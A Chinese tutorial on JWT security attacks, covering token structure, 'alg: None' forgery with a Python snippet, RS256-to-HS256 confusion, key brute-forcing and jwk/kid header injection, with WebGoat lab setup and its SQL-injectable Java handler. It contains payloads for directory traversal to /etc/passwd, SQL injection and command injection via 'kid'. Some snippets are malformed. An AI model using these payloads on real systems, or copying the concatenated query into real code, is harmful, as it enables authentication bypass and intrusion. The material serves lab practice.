jwt攻击

一、JTW的结构

JWT分别由标头(Header)、有效载荷(Payload)和签名(Signature)三个部分组成,采用base64url编码进行加密,以.作为连接的字符串形式。

base64url编码加密是先做base64加密,然后再将 + 改成 -、 / 改成 _ ,同时也去除末尾额外添加的 = 字符

header部分承载两部分信息:

一个是typ,表示令牌类型

一个是alg,表示签名所使用的算法,默认是 HMAC SHA256

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

Payload

payload部分是JWT的主体部分,用于存放有效数据。包含三个部分

  • 标准中注册的声明
  • 公共的声明
  • 私有的声明

标准中注册的声明

1
2
3
4
5
6
7
8
9
iss:发行人
exp:到期时间
sub:jwt所面向的用户
aud: 接收jwt的一方
nbf:在此之前不可用
iat:发布时间

jti:JWT ID用于标识该JWT
此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。

公共的声明
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

格式与上面一样

Signature(签名)

Signature部分是将前面用base64加密后的header和用base64加密后的payload通过.拼接起来,然后再用header声明所使用的算法(HS256)进行进行加盐secret加密,然后再对所得到的密文进行base64url加密,最终才得出JWT的第三部分。

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +base64UrlEncode(payload),
your-256-bit-secret
)

二、JWT攻击方式

  1. 空加密算法
    前提:服务端允许使用”alg” : “None”(几乎不可能,一般只存在靶场中)
    方法:将header部分的alg改为None,删除掉Signature部分

    1
    2
    3
    4
    5
    6
    7
    import jwt
    import base64

    def base64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')

    print(base64urlencode(b'{"alg":"None"}')+b'.'+base64urlencode(b'{"iat": ,"name":admin"}')+b'.')
  2. 修改RSA加密算法为HMAC
    JWT中最常用的两种算法为HMACRSA

    RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

    在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

    一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。

    1
    2
    3
    4
    {
    "alg" : "RS256",
    "typ" : "jwt"
    }

    通常情况下密钥是无法获取到的,但是公钥却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即

    1
    2
    3
    4
    {
    "alg" : "HS256",
    "typ" : "jwt"
    }

    同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。

    服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。

  3. 密钥爆破工具
    JWT 的密钥爆破需要在一定的前提下进行:

    • 知悉JWT使用的加密算法
    • 一段有效的、已签名的token
    • 签名用的密钥不复杂(弱密钥)

    https://github.com/brendan-rius/c-jwt-cracker

  4. 表头注入
    通过jwk参数注入自签名的JWT
    JWK英文全称为JSON Web Key,是一个IJSON对象,表示一个加密的密钥,他不同于alg属性,JWK是可选的,以下就是一个示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
    }

    靶场 Lab: JWT authentication bypass via jwk header injection

    • 在理想情况下,服务器应该是只使用公钥白名单来验证JWT签名的,但对于一些相关配置错误的服务器会用JWK参数中嵌入的任何密钥进行验证,攻击者就可以利用这一行为,用自己的RSA私钥对修改过的JWT进行签名,然后在JWK头部中嵌入对应的公钥进行越权操作

      o(╥﹏╥)o还有其他标签头太难了

    kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

    当用户可以操控它的时候,容易引发以下安全问题:
    目录遍历

    1
    2
    3
    4
    5
    {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../../etc/passwd"
    }

    sql注入

    1
    2
    3
    4
    5
    {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "111' || union select database() --"
    }

    命令执行

    1
    2
    3
    4
    5
    {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG" | whoami;
    }

靶场

靶场搭建

项目地址: https://hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0

还有个靶场太难了o(╥﹏╥)o burpsuite官方靶场

准备工具

jwt在线解密:https://jwt.io/
时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parse(token);
if (errorMessage[0] != null) {
return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return trackProgress(failed().feedback("jwt-final-jerry-account").build());
}
if ("Tom".equals(username)) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}

ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");

重点是这存在sql注入